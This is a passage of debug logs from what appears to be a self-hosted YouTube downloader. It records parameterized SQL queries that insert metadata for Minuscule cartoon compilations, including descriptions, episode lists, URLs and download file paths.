"https://www.youtube.com/watch?v=BQXIV1BVAV0", "/downloads/Miniscule Season 1/2025-10-16 A Gust Of Wind | Minuscule 🍃 85' Compilation/A Gust Of Wind | Minuscule 🍃 85' Compilation [BQXIV1BVAV0].mp4", false, ~U[2025-10-16 10:00:31Z]] 00:54:32.266 [debug] QUERY OK source="sources" db=0.5ms idle=14.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.268 [debug] QUERY OK source="media_items" db=0.8ms idle=7.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-18 10:00:19Z], 4] 00:54:32.271 [debug] QUERY OK source="media_items" db=2.4ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Chewing Gum | S01E34\n00:04:38 | Cherry Tomato | S01E77\n00:09:17 | The Quest For The Pink Lollipop | S01E32\n00:13:58 | United We Stand | S01E23\n00:18:25 | Interior Cobwebs | S01E64\n00:22:52 | The Last Supper | S01E25\n00:27:41 | Picnic | S01E24\n00:32:26 | Ants | S01E02\n00:37:15 | Zzzeplin | S01E22\n00:42:04 | A Gust Of Wind | S01E13\n00:46:46 | A Cruel World | S01E46\n00:51:35 | The Bridge On The River Zzzzzzz | S01E18\n00:56:21 | Leech | S01E73\n01:00:46 | Mad Fly | S01E55\n01:05:25 | The Ladybug | S01E01\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#chewing #gum #fly #sticky #cherry #tomato #ladybug #Minuscule #nature #insects #ladybugs #animatedseries", "Chewing Gum | Minuscule 🍃 85' Compilation", "15ab3736-f753-4f93-b2d9-4abb9f057735", "Bk2CA8ASvso", 4233, false, 4, "https://www.youtube.com/watch?v=Bk2CA8ASvso", 15, "/downloads/Miniscule Season 1/2025-10-18 Chewing Gum | Minuscule 🍃 85' Compilation/Chewing Gum | Minuscule 🍃 85' Compilation [Bk2CA8ASvso].mkv", false, false, false, [], 1, ~U[2025-10-18 10:00:19Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Chewing Gum | S01E34\n00:04:38 | Cherry Tomato | S01E77\n00:09:17 | The Quest For The Pink Lollipop | S01E32\n00:13:58 | United We Stand | S01E23\n00:18:25 | Interior Cobwebs | S01E64\n00:22:52 | The Last Supper | S01E25\n00:27:41 | Picnic | S01E24\n00:32:26 | Ants | S01E02\n00:37:15 | Zzzeplin | S01E22\n00:42:04 | A Gust Of Wind | S01E13\n00:46:46 | A Cruel World | S01E46\n00:51:35 | The Bridge On The River Zzzzzzz | S01E18\n00:56:21 | Leech | S01E73\n01:00:46 | Mad Fly | S01E55\n01:05:25 | The Ladybug | S01E01\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#chewing #gum #fly #sticky #cherry #tomato #ladybug #Minuscule #nature #insects #ladybugs #animatedseries", "Chewing Gum | Minuscule 🍃 85' Compilation", "Bk2CA8ASvso", 4233, false, 4, "https://www.youtube.com/watch?v=Bk2CA8ASvso", "/downloads/Miniscule Season 1/2025-10-18 Chewing Gum | Minuscule 🍃 85' Compilation/Chewing Gum | Minuscule 🍃 85' Compilation [Bk2CA8ASvso].mkv", false, ~U[2025-10-18 10:00:19Z]] 00:54:32.272 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=9.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.273 [debug] QUERY OK source="media_items" db=0.9ms idle=7.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-25 18:00:47Z], 4] 00:54:32.277 [debug] QUERY OK source="media_items" db=2.4ms idle=7.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Halloween Paranoid | S01E43\n00:04:48 | Yellow | S01E07\n00:09:36 | O Tannenbaum | S01E71\n00:14:16 | The Ladybug | S01E01\n00:18:52 | Mad Fly | S01E55\n00:23:31 | The Escapist | S01E59\n00:28:00 | The Mosquito | S01E58\n00:32:10 | Out Of A Tin Can | S01E65\n00:36:44 | King Size Camembert | S01E45\n00:41:23 | Interior Cobwebs | S01E64\n00:45:50 | A Bee’s Night Out | S01E51\n00:50:38 | Cowardly Coward | S01E09\n00:55:28 | No Luck | S01E62\n01:00:10 | Insect High Velocity | S01E53\n01:04:49 | A Cruel World | S01E46\n01:09:38 | Lettuce | S01E48\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Halloween #paranoid #centipede #scare #Centipede #Coward #Thunder #Shelter #Minuscule #nature #insects #ladybugs #animatedseries", "Halloween Paranoid 🎃 Minuscule 🍃 90' Compilation", "f1351639-7cf2-4d41-bd0e-fc92429d4724", "hinQL_ffSqU", 4496, false, 4, "https://www.youtube.com/watch?v=hinQL_ffSqU", 16, "/downloads/Miniscule Season 1/2025-10-25 Halloween Paranoid 🎃 Minuscule 🍃 90' Compilation/Halloween Paranoid 🎃 Minuscule 🍃 90' Compilation [hinQL_ffSqU].mp4", false, false, false, [], 1, ~U[2025-10-25 18:00:47Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Halloween Paranoid | S01E43\n00:04:48 | Yellow | S01E07\n00:09:36 | O Tannenbaum | S01E71\n00:14:16 | The Ladybug | S01E01\n00:18:52 | Mad Fly | S01E55\n00:23:31 | The Escapist | S01E59\n00:28:00 | The Mosquito | S01E58\n00:32:10 | Out Of A Tin Can | S01E65\n00:36:44 | King Size Camembert | S01E45\n00:41:23 | Interior Cobwebs | S01E64\n00:45:50 | A Bee’s Night Out | S01E51\n00:50:38 | Cowardly Coward | S01E09\n00:55:28 | No Luck | S01E62\n01:00:10 | Insect High Velocity | S01E53\n01:04:49 | A Cruel World | S01E46\n01:09:38 | Lettuce | S01E48\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Halloween #paranoid #centipede #scare #Centipede #Coward #Thunder #Shelter #Minuscule #nature #insects #ladybugs #animatedseries", "Halloween Paranoid 🎃 Minuscule 🍃 90' Compilation", "hinQL_ffSqU", 4496, false, 4, "https://www.youtube.com/watch?v=hinQL_ffSqU", "/downloads/Miniscule Season 1/2025-10-25 Halloween Paranoid 🎃 Minuscule 🍃 90' Compilation/Halloween Paranoid 🎃 Minuscule 🍃 90' Compilation [hinQL_ffSqU].mp4", false, ~U[2025-10-25 18:00:47Z]] 00:54:32.278 [debug] QUERY OK source="sources" db=0.4ms idle=9.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.279 [debug] QUERY OK source="media_items" db=0.9ms idle=7.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-09 10:01:35Z], 4] 00:54:32.301 [debug] QUERY OK source="media_items" db=20.5ms idle=7.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | No Exit | S01E61\n00:04:38 | The Escapist | S01E59\n00:09:08 | United We Stand | S01E23\n00:13:35 | The Mosquito | S01E58\n00:17:44 | Convoy | S01E10\n00:22:26 | The Ladybug | S01E01\n00:27:02 | Sleeping In | S01E12\n00:31:51 | Hyperactive | S01E54\n00:36:33 | No Luck | S01E62\n00:41:15 | Mad Fly | S01E55\n00:45:54 | Insect High Velocity | S01E53\n00:50:33 | The Winter Of Our Discontent | S01E67\n00:55:22 | Ants | S01E02\n01:00:11 | A Bee’s Night Out | S01E51\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#freedom #bee #house #exit #escape #flies #spider #cocoon #Minuscule #nature #insects #ladybugs #animatedseries", "No Exit 🎃 Minuscule 🍃 80' Compilation", "c6858e32-6ee7-4025-9ffc-5fa2586bb559", "v8kVFwiAn_I", 3931, false, 4, "https://www.youtube.com/watch?v=v8kVFwiAn_I", 17, "/downloads/Miniscule Season 1/2025-10-09 No Exit 🎃 Minuscule 🍃 80' Compilation/No Exit 🎃 Minuscule 🍃 80' Compilation [v8kVFwiAn_I].mkv", false, false, false, [], 1, ~U[2025-10-09 10:01:35Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | No Exit | S01E61\n00:04:38 | The Escapist | S01E59\n00:09:08 | United We Stand | S01E23\n00:13:35 | The Mosquito | S01E58\n00:17:44 | Convoy | S01E10\n00:22:26 | The Ladybug | S01E01\n00:27:02 | Sleeping In | S01E12\n00:31:51 | Hyperactive | S01E54\n00:36:33 | No Luck | S01E62\n00:41:15 | Mad Fly | S01E55\n00:45:54 | Insect High Velocity | S01E53\n00:50:33 | The Winter Of Our Discontent | S01E67\n00:55:22 | Ants | S01E02\n01:00:11 | A Bee’s Night Out | S01E51\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#freedom #bee #house #exit #escape #flies #spider #cocoon #Minuscule #nature #insects #ladybugs #animatedseries", "No Exit 🎃 Minuscule 🍃 80' Compilation", "v8kVFwiAn_I", 3931, false, 4, "https://www.youtube.com/watch?v=v8kVFwiAn_I", "/downloads/Miniscule Season 1/2025-10-09 No Exit 🎃 Minuscule 🍃 80' Compilation/No Exit 🎃 Minuscule 🍃 80' Compilation [v8kVFwiAn_I].mkv", false, ~U[2025-10-09 10:01:35Z]] 00:54:32.302 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=27.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.303 [debug] QUERY OK source="media_items" db=1.0ms idle=25.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-30 06:00:55Z], 4] 00:54:32.306 [debug] QUERY OK source="media_items" db=2.4ms idle=25.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Right Seed | S01E57\n00:04:45 | Leech | S01E73\n00:09:10 | Love Story | S01E03\n00:13:59 | Nap Time | S01E14\n00:18:48 | The Apple Of Concord | S01E36\n00:23:34 | The Good Education | S01E56\n00:28:21 | The Wild Bunch | S01E74\n00:33:00 | The Last Supper | S01E25\n00:37:49 | Ladybugs | S01E17\n00:42:29 | Hyperactive | S01E54\n00:47:10 | The Ladybug | S01E01\n00:51:46 | Cherry Tomato | S01E77\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ladybug #seed #plant #fruit #leech #snail #friendship #Minuscule #nature #insects #ladybugs #animatedseries", "The Right Seed | Minuscule 🍃 70' Compilation", "c4efdf45-0c55-4a49-934b-ae23ad935cd2", "wOpl_pyms5o", 3416, false, 4, "https://www.youtube.com/watch?v=wOpl_pyms5o", 18, "/downloads/Miniscule Season 1/2025-09-30 The Right Seed | Minuscule 🍃 70' Compilation/The Right Seed | Minuscule 🍃 70' Compilation [wOpl_pyms5o].mkv", false, false, false, [], 1, ~U[2025-09-30 06:00:55Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Right Seed | S01E57\n00:04:45 | Leech | S01E73\n00:09:10 | Love Story | S01E03\n00:13:59 | Nap Time | S01E14\n00:18:48 | The Apple Of Concord | S01E36\n00:23:34 | The Good Education | S01E56\n00:28:21 | The Wild Bunch | S01E74\n00:33:00 | The Last Supper | S01E25\n00:37:49 | Ladybugs | S01E17\n00:42:29 | Hyperactive | S01E54\n00:47:10 | The Ladybug | S01E01\n00:51:46 | Cherry Tomato | S01E77\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ladybug #seed #plant #fruit #leech #snail #friendship #Minuscule #nature #insects #ladybugs #animatedseries", "The Right Seed | Minuscule 🍃 70' Compilation", "wOpl_pyms5o", 3416, false, 4, "https://www.youtube.com/watch?v=wOpl_pyms5o", "/downloads/Miniscule Season 1/2025-09-30 The Right Seed | Minuscule 🍃 70' Compilation/The Right Seed | Minuscule 🍃 70' Compilation [wOpl_pyms5o].mkv", false, ~U[2025-09-30 06:00:55Z]] 00:54:32.307 [debug] QUERY OK source="sources" db=0.4ms idle=27.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.309 [debug] QUERY OK source="media_items" db=1.0ms idle=7.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-27 18:00:40Z], 4] 00:54:32.312 [debug] QUERY OK source="media_items" db=2.3ms idle=7.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Totem | S01E28\n00:04:46 | Cicadas’ Song | S01E16\n00:09:35 | Bananas | S01E69\n00:14:14 | The Bridge On The River Zzzzzzz | S01E18\n00:19:00 | The Quest For The Pink Lollipop | S01E32\n00:23:41 | Rosy | S01E38\n00:28:23 | The Shellproof Nut | S01E40\n00:33:12 | The Ladybug | S01E01\n00:37:48 | Convoy | S01E10\n00:42:30 | Goofing Off | S01E37\n00:47:11 | Ants | S01E02\n00:52:00 | The Infernal Anthill | S01E35\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#totem #ants #phone #anthill #cicadas #scorching #singing #Minuscule #nature #insects #ladybugs #animatedseries", "Totem | Minuscule 🍃 70' Compilation", "10dae397-bc83-46b3-afc8-5661f7596b0f", "fmL-ckTl_gw", 3411, false, 4, "https://www.youtube.com/watch?v=fmL-ckTl_gw", 19, "/downloads/Miniscule Season 1/2025-09-27 Totem | Minuscule 🍃 70' Compilation/Totem | Minuscule 🍃 70' Compilation [fmL-ckTl_gw].mkv", false, false, false, [], 1, ~U[2025-09-27 18:00:40Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Totem | S01E28\n00:04:46 | Cicadas’ Song | S01E16\n00:09:35 | Bananas | S01E69\n00:14:14 | The Bridge On The River Zzzzzzz | S01E18\n00:19:00 | The Quest For The Pink Lollipop | S01E32\n00:23:41 | Rosy | S01E38\n00:28:23 | The Shellproof Nut | S01E40\n00:33:12 | The Ladybug | S01E01\n00:37:48 | Convoy | S01E10\n00:42:30 | Goofing Off | S01E37\n00:47:11 | Ants | S01E02\n00:52:00 | The Infernal Anthill | S01E35\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#totem #ants #phone #anthill #cicadas #scorching #singing #Minuscule #nature #insects #ladybugs #animatedseries", "Totem | Minuscule 🍃 70' Compilation", "fmL-ckTl_gw", 3411, false, 4, "https://www.youtube.com/watch?v=fmL-ckTl_gw", "/downloads/Miniscule Season 1/2025-09-27 Totem | Minuscule 🍃 70' Compilation/Totem | Minuscule 🍃 70' Compilation [fmL-ckTl_gw].mkv", false, ~U[2025-09-27 18:00:40Z]] 00:54:32.313 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=9.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.314 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=7.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-04 18:00:56Z], 4] 00:54:32.318 [debug] QUERY OK source="media_items" db=2.4ms idle=7.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Caterpillar and the Brook | S01E08\n00:04:49 | City Caterpillar And Butterfly Of The Fields | S01E30\n00:09:32 | A Cruel World | S01E46\n00:14:21 | Lettuce | S01E48\n00:19:08 | Caterpillars in Pairs | S01E06\n00:23:55 | Shell-Less | S01E19\n00:28:38 | The Ladybug | S01E01\n00:33:14 | Leech | S01E73\n00:37:39 | Narcissus | S01E47\n00:42:28 | The Caterpillar Who Wanted To See The Ocean | S01E29\n00:47:16 | Caterpillar Dream | S01E20\n00:52:05 | The Apple Of Concord | S01E36\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#caterpillar #brook #leaves #bush #Caterpillar #Butterfly #Countryside #Transformation #Minuscule #nature #insects #ladybugs #animatedseries", "The Caterpillar and the Brook 🐛 Minuscule 🍃 70' Compilation", "1f67ed14-90b5-425d-b1b6-556c2ceff715", "uNjdfWr28I4", 3443, false, 4, "https://www.youtube.com/watch?v=uNjdfWr28I4", 20, "/downloads/Miniscule Season 1/2025-10-04 The Caterpillar and the Brook 🐛 Minuscule 🍃 70' Compilation/The Caterpillar and the Brook 🐛 Minuscule 🍃 70' Compilation [uNjdfWr28I4].mkv", false, false, false, [], 1, ~U[2025-10-04 18:00:56Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n 